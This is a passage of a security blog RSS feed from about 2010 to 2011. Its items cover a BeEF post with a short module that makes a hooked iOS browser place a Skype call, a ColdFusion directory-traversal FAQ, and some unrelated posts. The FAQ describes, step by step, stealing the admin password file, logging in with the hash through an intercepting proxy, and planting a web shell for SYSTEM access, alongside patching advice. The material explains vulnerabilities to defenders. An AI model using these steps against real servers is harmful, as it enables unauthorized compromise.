         <description>One of the best things about the Websecurify Runtime is that it is super extensible. We are not only targeting JavaScript on Xulrunner but also JavaScript on Nodejs, Java, Objective-C and a few other development platforms. So, we play a lot with technology and usually we come up with some wacky ideas in the process.&lt;br /&gt;&lt;br /&gt;Not long ago, it became quite apparent that the web security field lacks a powerful browser designed specifically for penetration testing purposes. A decision was made to build one. This is how the idea behind Acidbrowser was born. In summary, the Acidbrowser project aims to bring all good web application security tools closer to the browser. The reason for this is simple. While web testing proxies are good, they are very difficult to use with more complex/modern web applications. In order to solve this problem we need a solution that not only understands the basics of HTTP but also quite a bit about the DOM and all modern web application technologies.&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;a rel="nofollow" target="_blank" href="http://1.bp.blogspot.com/-GQtTAhptRAY/TX_RerPRtlI/AAAAAAAAASk/dIXoWiQPQxM/s1600/acidbrowser01.png"&gt;&lt;img src="http://1.bp.blogspot.com/-GQtTAhptRAY/TX_RerPRtlI/AAAAAAAAASk/dIXoWiQPQxM/s320/acidbrowser01.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5584412387895785042" style="cursor:pointer;width:320px;height:202px;"/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;The current version (0.8) of Acidbrowser is just an empty shell, meaning that no real penetration testing tools have been integrated just yet. The reason for this is simple. While we can easily put some of the existing code, we want to build the browser gradually by developing quick hacks and extensions. That being said, we are hopefully going to release some extensions soon. Meanwhile you can build your own extensions and help you and the community in the process. Don't hesitate to get in touch with us.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I hope you find the tool useful and we are excited to hear about your ideas.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Oh! As usual you can download the tool from &lt;a rel="nofollow" target="_blank" href="http://code.google.com/p/websecurify/downloads/list"&gt;here&lt;/a&gt;. &lt;/i&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2382932154546319997-8139931016253903896?l=blog.websecurify.com' alt=''/&gt;&lt;/div&gt;</description>
         <author>noreply@blogger.com (pdp)</author>
         <guid isPermaLink="false">tag:blogger.com,1999:blog-2382932154546319997.post-8139931016253903896</guid>
         <pubDate>Tue, 15 Mar 2011 20:35:00 +0000</pubDate>
         <media:thumbnail height="72" url="http://1.bp.blogspot.com/-GQtTAhptRAY/TX_RerPRtlI/AAAAAAAAASk/dIXoWiQPQxM/s72-c/acidbrowser01.png" width="72" />
      </item>
      <item>
         <title>Having fun with BeEF, the browser exploitation framework</title>
         <link>http://feedproxy.google.com/~r/gnucitizen/~3/ekJpPZt6-pA/</link>
         <description>We haven&amp;#8217;t featured any guest bloggers in a while, but we&amp;#8217;re glad to be featuring Chirstian Frichot this month! Christian is a security professional based in Perth, Western Australia. He&amp;#8217;s currently working in the finance industry as part of a tight-knit internal team of security consultants doing their best to protect their business and customers from technical threats such as malware or insecure web applications. [...]</description>
         <guid isPermaLink="false">https://www.gnucitizen.org/?p=4039</guid>
         <pubDate>Tue, 22 Feb 2011 11:40:26 +0000</pubDate>
         <content:encoded><![CDATA[<p><em>We haven&#8217;t featured any guest bloggers in a while, but we&#8217;re glad to be featuring <a rel="nofollow" target="_blank" href="http://un-excogitate.org/">Chirstian Frichot</a> this month! Christian is a security professional based in Perth, Western Australia. He&#8217;s currently working in the finance industry as part of a tight-knit internal team of security consultants doing their best to protect their business and customers from technical threats such as malware or insecure web applications.</em></p>

<p><em>After having met <a rel="nofollow" target="_blank" href="http://www.bindshell.net/users/Wade">Wade Alcorn</a> (the initial author and project lead of BeEF), Christian mentioned his interest in helping out on the project where he could, which eventually led to Wade accepting his offer. The discussion was held over a couple of bottles of wine, so perhaps Wade&#8217;s regretting the decision now!</em></p>

<p><em>Christian&#8217;s role within the BeEF project, if it were to be defined, is odd-jobs-go-to-boy, command-module implementer, Ext-JS-fighter and twitter maintainer. When Christian is not working on BeEF, he&#8217;s doing his best to represent the Perth OWASP Chapter, or laying down crunchy beats on the drum-kit.</em></p>

<p><em>What follows are Chritian&#8217;s words on the BeEF project.</em><p>

<p>Sorry vegetarians, but BeEF is back. That&#8217;s right, the Browser Exploitation Framework is back, and it has now been rewritten from the ground up in Ruby. For those unfortunate people who haven&#8217;t had a chance to explore the older, PHP version of BeEF you&#8217;re only missing out on one of the greatest, most extensible XSS-payload management and exploitation frameworks out there, and the Ruby re-write is no different.</p>

<p>The Browser Exploitation Framework (BeEF) is a powerful, professional security tool. BeEF is pioneering techniques that provide the experienced penetration tester with practical client side attack vectors. Unlike other security frameworks, BeEF focuses on leveraging browser vulnerabilities to assess the security posture of a target.</p>

<p>One of the newer modules implemented in BeEF utilises the insecure handling of URL schemes in Apple&#8217;s iOS to trick Skype into starting an outbound call. This vulnerability was first written about by <a rel="nofollow" target="_blank" href="http://www.dhanjani.com/blog/2010/11/insecure-handling-of-url-schemes-in-apples-ios.html">Nitesh Dhanjani</a> and highlights that with the growing popularity of these devices these sorts of issues may lead to losses of information or other negative impacting events. The module itself is as simple as:</p>

<pre><code>beef.execute(function() {
Â  Â document.body.innerHTML = &quot;&lt;iframe src=skype:&lt;%= @tel_num
%&gt;?call&gt;&lt;/iframe&gt;&quot;;

Â  Â beef.net.sendback(&quot;&lt;%= @command_url %&gt;&quot;, &lt;%= @command_id %&gt;,
&quot;result=IFrame Created!&quot;);
});</code></pre>

<p>which, once added to a particular hooked browsers command queue will simply execute upon next poll, and if they automatically authenticate to the Skype application, will initiate a call. Due to iOS&#8217; multi-tasking the Skype app does pop up to the top, so the end user is aware that the activity is occurring, but they&#8217;re not prompted to &#8220;confirm&#8221; the action. You can see this module demonstrated bellow:</p>

<div class="screen"></div> 

<p>The current release is 0.4.2.1-alpha, but by release 0.5 (the Sirloin Release) we&#8217;re expecting to have at least all of the PHP BeEF functionality provided plus much more, including:</p>

<ol>
<li>jQuery included as part of the hooking process</li>
<li>Metasploit integration</li>
<li>Evercookie&#8217;s for persistence even after a hooked browser has been closed</li>
<li>full event logging, not just keystroke logging, to include window activation/deactivation, mouse clicks, etc</li>
<li>arbitrary HTTP requester</li>
<li>proxying</li>
<li>persistence modules (subtle popups or 100%x100% iframes)</li>
<li>detecting of social networking authentication status (as per <a rel="nofollow" target="_blank" href="http://grepular.com/Abusing_HTTP_Status_Codes_to_Expose_Private_Information">this</a>)</li>
</ol>

<p>You can find out more about beef over at <a rel="nofollow" target="_blank" href="http://beef.googlecode.com">http://beef.googlecode.com</a> or
by following the <a rel="nofollow" target="_blank" href="http://twitter.com/beefproject">@beefproject</a>.</p>

<p><em>BeEF &#8211; Get it into ya!</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websecurify-websuite-incidents-php-cgi.html">Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-tutorial.html">Websuite Scanner Tutorial</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/this-is-how-we-code.html">This is How We Code</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/retro-websecurify-v04-video.html">Retro Websecurify (v0.4) Video</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-preview-video.html">Websuite Scanner Preview Video</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/ekJpPZt6-pA" height="1" width="1"/>]]></content:encoded>
         <category>Blog</category>
      </item>
      <item>
         <title>The Making of Metagun</title>
         <link>http://www.hakiri.org/blog/the-making-of-metagun/</link>
         <description>This is a wonderful timelapse video of a guy making a game in 48 hours.



The obvious choice of technology is Java. Great stuff!</description>
         <guid isPermaLink="false">https://www.hakiri.org/?p=699</guid>
         <pubDate>Tue, 24 Aug 2010 17:58:07 +0000</pubDate>
         <content:encoded><![CDATA[<p>This is a wonderful timelapse video of a guy making a game in 48 hours.</p>

<div class="screen"><embed src="http://www.youtube.com/v/ZV-AFnCkRLY?fs=1&amp;hl=en_US" type="application/x-shockwave-flash" width="640" height="385"></iframe></div> 

<p><em>The obvious choice of technology is Java. Great stuff!</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websecurify-websuite-incidents-php-cgi.html">Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-tutorial.html">Websuite Scanner Tutorial</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/this-is-how-we-code.html">This is How We Code</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/retro-websecurify-v04-video.html">Retro Websecurify (v0.4) Video</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-preview-video.html">Websuite Scanner Preview Video</a><br/></p>]]></content:encoded>
      </item>
      <item>
         <title>ColdFusion directory traversal FAQ (CVE-2010-2861)</title>
         <link>http://feedproxy.google.com/~r/gnucitizen/~3/hW7xDNKI7sM/</link>
         <description>A new Adobe hotfix for ColdFusion has been released recently. The vulnerability which was discovered by Richard Brain, was rated as important by Adobe and could affect a large number of Internet-facing web servers. The FAQ bellow is meant to shed some light on this vulnerability so that ColdFusion administrators can understand what they&amp;#8217;re up against. [...]</description>
         <guid isPermaLink="false">https://www.gnucitizen.org/?p=3665</guid>
         <pubDate>Fri, 13 Aug 2010 15:31:33 +0000</pubDate>
         <content:encoded><![CDATA[<p>A new Adobe <a rel="nofollow" target="_blank" href="http://www.adobe.com/support/security/bulletins/apsb10-18.html">hotfix</a> for ColdFusion has been released recently. The vulnerability which was discovered by Richard Brain, was rated as <a rel="nofollow" target="_blank" href="http://www.adobe.com/devnet/security/security_zone/severity_ratings.html">important</a> by Adobe and could affect a large number of Internet-facing web servers. The FAQ bellow is meant to shed some light on this vulnerability so that ColdFusion administrators can understand what they&#8217;re up against.</p>

<h3>The FAQ</h3>

<p>Finally, by producing this FAQ I will attempt to explain why (at least on certain setups) this vulnerability should have been granted a <strong>CRITICAL</strong> rating by Adobe, rather than Important. As we&#8217;ll see bellow, it is possible to fully compromise the underlying OS of a vulnerable ColdFusion server by exploiting this directory traversal vulnerability.</p>

<h4>How does the vulnerability work?</h4>

<p>The vulnerability is a variation of a classic directory traversal vulnerability, also referred to as arbitrary file retrieval. The attack involves tricking a server-side script to provide the contents of a file that it was not originally supposed to be made available. By moving up a few directory levels, the attacker is able to obtain the contents of files outside the application server&#8217;s webroot via special strings such as <code>../</code>. More information can be found on the <a rel="nofollow" target="_blank" href="http://www.owasp.org/index.php/Path_Traversal">OWASP</a> website.</p>

<h4>Is authentication required to exploit this vulnerability?</h4>

<p>NO. The attacker doesn&#8217;t require knowledge of any passwords in order to exploit the directory traversal bug.</p>

<h4>What&#8217;s the goal of the attacker when exploiting this vulnerability?</h4>

<p>Just as any other type of directory traversal vulnerability, the attacker would usually attempt to obtain source code of the target site in order to identify security vulneraibilities. Additionally, the attacker would most likely attempt to obtain configuration files containing sensitive information. For instance, in the case of ColdFusion the attacker would most likely attempt to read the contents of <code>neo-security.xml</code> and <code>password.properties</code>. These configuration files contain database connection credentials and the ColdFusion administrator password respectively. Depending on how <code>password.properties</code> has been setup, the ColdFusion admin password will be hashed or stored in clear-text (<code>encrypted=false</code>).</p>

<h4>What&#8217;s the worst that could happen once this vulnerability has been exploited successfully?</h4>

<p>As we&#8217;ll see at the end of this post, once the attacker has gained access to the CF admin console &#8211; e.g.: by cracking the admin password &#8211; it might be possible to fully compromise the underlying OS.</p>

<h4>How can the vulnerability be resolved?</h4>

<p>You can either apply Adobe&#8217;s <a rel="nofollow" target="_blank" href="http://kb2.adobe.com/cps/857/cpsid_85766.html">patch</a> or restrict access to the following directories and file from trusted IP addresses only: <code>/CFIDE/adminapi/ /CFIDE/administrator/ /CFIDE/componentutils/ /CFIDE/wizards/ /CFIDE/install.cfm</code></p>

<h4>What are the mitigating factors?</h4>

<p>This vulnerability cannot be exploited on ColdFusion 9.X when default settings are used, unless of course you figure out a way to get around the directory traversal signatures used by the filtering routines. Additionally, the ColdFusion administrator login console must be available to the attacker. It is however quite common to find CF admin consoles directly available on the Internet.</p>

<p><del datetime="2010-08-16T22:36:05+00:00">If a long and sufficiently random admin password is used, cracking the SHA1 hash could prove to be difficult. This is applicable to CF MX7, 8 and 9</del> (<strong>see UPDATE notes</strong>). Version 6 doesn&#8217;t hash the password, but instead encrypts it using a proprietary algorithm.</p>

<h4>What versions of ColdFusion are affected?</h4>

<p>According to the Adobe <a rel="nofollow" target="_blank" href="http://www.adobe.com/support/security/bulletins/apsb10-18.html">bulletin</a> the affected versions are <q>ColdFusion 8.0, 8.0.1, 9.0, 9.0.1 and earlier versions for Windows, Macintosh and UNIX</q>. However, due to time constraints I have only personally confirmed the vulnerability on version 8.0.1 under Windows.</p>

<h4>Can you provide the actual exploit?</h4>

<p>No. ProCheckUp will provide the exploit details at a later date. Although Richard Brain privately shared POC URLs with me, I will not make them available. Exploit details were only provided to me as a trusted security analyst for purpose of assessing the impact of the vulnerability and help me write this FAQ in the hope that it will benefit the community.</p>

<p><strong>UPDATE:</strong> the <a rel="nofollow" target="_blank" href="http://www.exploit-db.com/exploits/14641/">exploit details</a> were published by an anonymous researcher on <em>14/08/2010</em>, probably worked out by reverse-engineering Adobe&#8217;s patches. ProCheckUp has also released the <a rel="nofollow" target="_blank" href="http://www.procheckup.com/vulnerability_manager/vulnerabilities/pr10-07">exploit details</a> as of <em>17/08/2010</em>.</p>

<h4>Can you describe a real attack scenario?</h4>

<p>The following a real attack scenario against ColdFusion 8 on a Windows server:</p>

<ol>
<li>Attacker confirms ColdFusion admin console is Internet facing. E.g. <code>http://target-domain.foo/CFIDE/administrator/index.cfm</code></li>
<li>Attacker exploits directory traversal vulnerability and obtains the contents of <code>C:&#92;ColdFusion8&#92;lib&#92;password.properties</code>, which contains the ColdFusion admin password <div class="screen"><a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/static/blog/2010/08/cf_dir_traversal_exploited.png"><img src="http://www.gnucitizen.org/static/blog/2010/08/cf_dir_traversal_exploited-270x150.png" alt="" title="CF Dir Traversal Exploited PNG" width="270" height="150" class="alignnone size-thumbnail wp-image-3730"/></a></div></li>
<li>If the admin password was stored encrypted (actually CF8 hashes the admin password using the SHA1 algorithm, similar to CF MX7), the attacker then attempts to crack it via an offline password cracking attack or <a rel="nofollow" target="_blank" href="http://passcracking.com/">rainbow table</a> <a rel="nofollow" target="_blank" href="http://hashcrack.com/">lookup</a>. Note that the default setting in ColdFusion 8 is <code>encrypted=true</code> as per <code>password.properties</code> file. Otherwise, if the password is stored unencrypted (<code>encrypted=false</code>), there would be no need for password cracking.</li>
<li><strong>UPDATE:</strong> as suggested by <a rel="nofollow" target="_blank" href="http://blog.teusink.net/">Niels Teusink</a>, an attacker could login as the CF administrator without needing to crack the SHA1 hash. I verified his observation and can confirm it works well. You can follow these steps (tested on Firefox 3.6.8) to login using the SHA1 hash. i.e.: no need to crack the password hash: <ol><li>Configure your favorite MITM proxy &#8211; e.g. <a rel="nofollow" target="_blank" href="http://portswigger.net/proxy/">Burp</a> &#8211; to capture traffic between your browser and target CF admin console</li><li>Enter hash in password field of login form (usually located on <code>/CFIDE/administrator/enter.cfm</code>)</li><li>Type the following on your browser&#8217;s address bar and press enter (make sure JavaScript is enabled on your browser): <code>javascript:hex_hmac_sha1(document.loginform.salt.value,document.loginform.cfadminPassword.value)</code></li><li>Record value. e.g. <code>AFA9C9D917916DE6CE05C1BFEC0470E07A246CB0</code></li><li>Press browser&#8217;s Back button</li><li>Press Login on the login form (trapping/intercept mode should be enabled on your MITM proxy at this point)</li><li>Trap the login request and replace the value of the <code>cfadminPassword</code> parameter with the value recorded above</li><li>Forward request</li></ol></li>
<li>At this point, the attacker would be able to login as a CF admin and upload a <a rel="nofollow" target="_blank" href="http://michaeldaw.org/projects/web-backdoor-compilation">malicious CFM script</a> that would allow him to run remote commands (SYSTEM privileges by default). Uploading files to a CF server via the administrator console is a bit counter-intuitive. The attacker would basically add a scheduled task that would download cfexec.cfm to the server&#8217;s webroot <div class="screen"><a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/static/blog/2010/08/backdoor_task.png"><img src="http://www.gnucitizen.org/static/blog/2010/08/backdoor_task-170x150.png" alt="" title="CF Backdoor Task PNG" width="170" height="150" class="alignnone size-thumbnail wp-image-3705"/></a></div></li>
<li>At this point, the attacker has gained full control of the underlying Windows OS as the CF service runs with SYSTEM privileges by default <div class="screen"><a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/static/blog/2010/08/command_execution2.png"><img src="http://www.gnucitizen.org/static/blog/2010/08/command_execution2-362x150.png" alt="" title="CF Command Execution PNG" width="362" height="150" class="alignnone size-thumbnail wp-image-3725"/></a> <a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/static/blog/2010/08/command_output.png"><img src="http://www.gnucitizen.org/static/blog/2010/08/command_output-300x90.png" alt="" title="CF Command Output PNG" width="300" height="90" class="alignnone size-medium wp-image-3700"/></a></div></li>
</ol>

<p>If the CF admin password is hashed and the attacker is unable to crack it, he could always try to obtain the database connection credentials (<code>C:&#92;ColdFusion8&#92;lib&#92;neo-datasource.xml</code>) which can be <a rel="nofollow" target="_blank" href="http://hexale.blogspot.com/2008/07/how-to-decrypt-coldfusion-datasource.html">easily decrypted</a> and then directly authenticate to the backend DB server. This however wouldn&#8217;t normally be possible on a firewalled environment where the back-end DB server is not directly exposed to the Internet. Network access controls are your friends!</p>

<h3>Post Updates</h3>

<ul>
<li><strong>16/09/2010</strong> &#8211; new path added as part of blacklisting solution</li>
<li><strong>16/09/2010</strong> &#8211; added trick to login without cracking the CF admin password hash</li>
<li><strong>16/09/2010</strong> &#8211; mentioned recently published exploit code for the CF traversal vulnerability</li>
<li><strong>18/09/2010</strong> &#8211; fixed typos and mentioned release of exploit details by ProCheckUp</li>
</ul><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websecurify-websuite-incidents-php-cgi.html">Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-tutorial.html">Websuite Scanner Tutorial</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/this-is-how-we-code.html">This is How We Code</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/retro-websecurify-v04-video.html">Retro Websecurify (v0.4) Video</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-preview-video.html">Websuite Scanner Preview Video</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/hW7xDNKI7sM" height="1" width="1"/>]]></content:encoded>
      </item>
      <item>
         <title>1ST European Edition of HITB Coming Up!</title>
         <link>http://feedproxy.google.com/~r/gnucitizen/~3/ACja2OSf3Bs/</link>
         <description>In case you haven&amp;#8217;t heard yet, HITBSecConf is hosting the first European Edition of their conference in Amsterdam during 1st-2nd July &amp;#8217;10. The history of the HITB conferences can be traced back to 2002, the year in which the first ever edition of HITB took place in Malaysia. Since then, HITB has grown to become the biggest technical computer security event in Asia and has extended their presence to the Middle East and now Europe. [...]</description>
         <guid isPermaLink="false">https://www.gnucitizen.org/?p=3656</guid>
         <pubDate>Thu, 24 Jun 2010 09:16:22 +0000</pubDate>
         <content:encoded><![CDATA[<p>In case you haven&#8217;t heard yet, HITBSecConf is hosting the first European Edition of their <a rel="nofollow" target="_blank" href="http://conference.hackinthebox.org/hitbsecconf2010ams/?page_id=24">conference</a> in Amsterdam during 1st-2nd July &#8217;10. The history of the HITB conferences can be traced back to 2002, the year in which the first ever edition of HITB took place in Malaysia. Since then, HITB has grown to become the biggest technical computer security event in Asia and has extended their presence to the Middle East and now Europe.</p>

<blockquote>HITB aims to congregate members of the security community from all circles. From academics, and well known infosec personalities to loner-type independent researchers, and hobbyists just to name a few. I&#8217;ve personally attended past editions in Kuala Lumpur and Dubai and loved that the attendees and speakers came from a wide variety of backgrounds. If you don&#8217;t believe me, check out the <a rel="nofollow" target="_blank" href="http://photos.hackinthebox.org/gallery/">pix</a> of past conferences and you&#8217;ll find sec nerds and corporate professionals all partying in unison. Indeed, the HITB conferences are not only educational, but among the most fun sec events I&#8217;ve had the chance to attend.</blockquote>

<p>Registration is still open, so you are still on time to take advantage of a great speaker lineup and one of the _de facto_ party capitals of Europe. The conference agenda can be found <a rel="nofollow" target="_blank" href="http://conference.hitb.org/hitbsecconf2010ams/agenda.pdf">here</a>.  I&#8217;m really looking forward to Niels Teusink&#8217;s <a rel="nofollow" target="_blank" href="http://blog.teusink.net/2010/05/presenting-at-hack-in-box-2010.html">presentation</a> on hacking Logitech wireless presenters and the release of detailed examples of JIT-spray techniques against IE8, FF3.6 by <a rel="nofollow" target="_blank" href="http://dsecrg.com/">Alexey Sintsov</a> (originally <a rel="nofollow" target="_blank" href="http://www.semantiscope.com/research/BHDC2010/BHDC-2010-Slides-v2.pdf">discussed</a> by Dion Blazakis).</p>

<p>One more thing, almost forgot: there will be a bring-your-own-laptop <a rel="nofollow" target="_blank" href="http://conference.hitb.org/hitbsecconf2010ams/?page_id=41">web hacking challenge</a> at HITB EU.</p>

<p><em>See you at HITB Amsterdam next month!</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websecurify-websuite-incidents-php-cgi.html">Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-tutorial.html">Websuite Scanner Tutorial</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/this-is-how-we-code.html">This is How We Code</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/retro-websecurify-v04-video.html">Retro Websecurify (v0.4) Video</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-preview-video.html">Websuite Scanner Preview Video</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/ACja2OSf3Bs" height="1" width="1"/>]]></content:encoded>
      </item>
      <item>
         <title>Exit Through the Gift Shop</title>
         <link>http://www.hakiri.org/blog/exit-through-the-gift-shop/</link>
         <description>&amp;#8230; is a new movie from the notorious street artist Banksy. The trailer looks very interesting. Here it is:

---recent posts from the gnucitizen network:Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)Websuite Scanner TutorialThis is How We CodeRetro Websecurify (v0.4) VideoWebsuite Scanner Preview Video</description>
         <guid isPermaLink="false">https://www.hakiri.org/?p=695</guid>
         <pubDate>Wed, 07 Apr 2010 13:43:41 +0000</pubDate>
         <content:encoded><![CDATA[<p>&#8230; is a new movie from the notorious street artist <q>Banksy</q>. The trailer looks very interesting. Here it is:</p>

<div class="screen"><embed src="http://www.youtube.com/v/a0b90YppquE&#038;color1=0xb1b1b1&#038;color2=0xcfcfcf&#038;hl=en_US&#038;feature=player_embedded&#038;fs=1" type="application/x-shockwave-flash" width="640" height="385"></iframe></div><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websecurify-websuite-incidents-php-cgi.html">Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-tutorial.html">Websuite Scanner Tutorial</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/this-is-how-we-code.html">This is How We Code</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/retro-websecurify-v04-video.html">Retro Websecurify (v0.4) Video</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-preview-video.html">Websuite Scanner Preview Video</a><br/></p>]]></content:encoded>
      </item>
      <item>
         <title>Jerry Rice on Success</title>
         <link>http://www.hakiri.org/blog/jerry-rice-on-success/</link>
         <description>There is a nice story about Jerry Rice, american football player, running in the Sunday, February 9, 2010 print edition of the San Francisco Chronicle’s. The story is about the secrets of success. [...]</description>
         <guid isPermaLink="false">https://www.hakiri.org/?p=687</guid>
         <pubDate>Fri, 12 Mar 2010 08:58:37 +0000</pubDate>
         <content:encoded><![CDATA[<p>There is a nice story about Jerry Rice, american football player, running in the Sunday, February 9, 2010 print edition of the San Francisco Chronicle’s. The story is about the secrets of success.</p>

<p>In summary the secret of success according to Jerry Rice is the following:</p>

<ul>
<li>Put effort</li>
<li>You will have to struggle</li>
<li>Persist despite the setbacks</li>
<li>Strategize and make your choices</li>
<li>Choose difficult tasks</li>
<li>Keep learning and trying to improve</li>
</ul>

<p>According to Carol Dweck&#8217;s research (read <a rel="nofollow" target="_blank" href="http://www.amazon.com/Mindset-Psychology-Success-Carol-Dweck/dp/1400062756">MindSet</a>) success in nutshell is all about in the trying and the doing. Apart from the <q>putting effort</q> and <q>to keep learning</q>, Carol Dweck also suggests that another success ingredient is to <q>capitalise on mistakes</q> and to <q>comfront deficiencies as they allow you to learn more</q></p>

<p><em>At the end of the day it is down to what works for you. There isn&#8217;t universal truth.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websecurify-websuite-incidents-php-cgi.html">Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-tutorial.html">Websuite Scanner Tutorial</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/this-is-how-we-code.html">This is How We Code</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/retro-websecurify-v04-video.html">Retro Websecurify (v0.4) Video</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-preview-video.html">Websuite Scanner Preview Video</a><br/></p>]]></content:encoded>
      </item>
      <item>
         <title>Time Blocking</title>
         <link>http://www.hakiri.org/blog/time-blocking/</link>
         <description>This is an interesting video which discusses why you should avoid distractions while working in order to stay as much productive as possible.

---recent posts from the gnucitizen network:Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)Websuite Scanner TutorialThis is How We CodeRetro Websecurify (v0.4) VideoWebsuite Scanner Preview Video</description>
         <guid isPermaLink="false">https://www.hakiri.org/?p=682</guid>
         <pubDate>Tue, 09 Mar 2010 14:21:54 +0000</pubDate>
         <content:encoded><![CDATA[<p>This is an interesting video which discusses why you should avoid distractions while working in order to stay as much productive as possible.</p>

<div class="screen"></div><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websecurify-websuite-incidents-php-cgi.html">Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-tutorial.html">Websuite Scanner Tutorial</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/this-is-how-we-code.html">This is How We Code</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/retro-websecurify-v04-video.html">Retro Websecurify (v0.4) Video</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-preview-video.html">Websuite Scanner Preview Video</a><br/></p>]]></content:encoded>
      </item>
      <item>
         <title>Hacking Linksys IP Cameras (pt 6)</title>
         <link>http://feedproxy.google.com/~r/gnucitizen/~3/I8vV1at9QvQ/</link>
         <description>This article is a continuation of the following GNUCITIZEN articles: here, here, here, here and here.

As we know, there are several ways one could go about hunting for IP cameras on the net. The slowest way would be to portscan random IP addresses for certain ports and programmatically detect if the web interface of a given camera was available on the open ports found. [...]</description>
         <guid isPermaLink="false">https://www.gnucitizen.org/?p=3415</guid>
         <pubDate>Wed, 24 Feb 2010 07:18:29 +0000</pubDate>
         <content:encoded><![CDATA[<p><em>This article is a continuation of the following GNUCITIZEN articles: <a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-1/">here</a>, <a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-2/">here</a>, <a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/">here</a>, <a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-4/">here</a> and <a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-5/">here</a>.</em></p>

<p>As we know, there are several ways one could go about hunting for IP cameras on the net. The slowest way would be to portscan random IP addresses for certain ports and programmatically detect if the web interface of a given camera was available on the open ports found. This method definitely works, but it can be very time consuming as it consists of scanning random IP addresses hoping that we&#8217;ll eventually come across the type of device we&#8217;re interested in.</p>

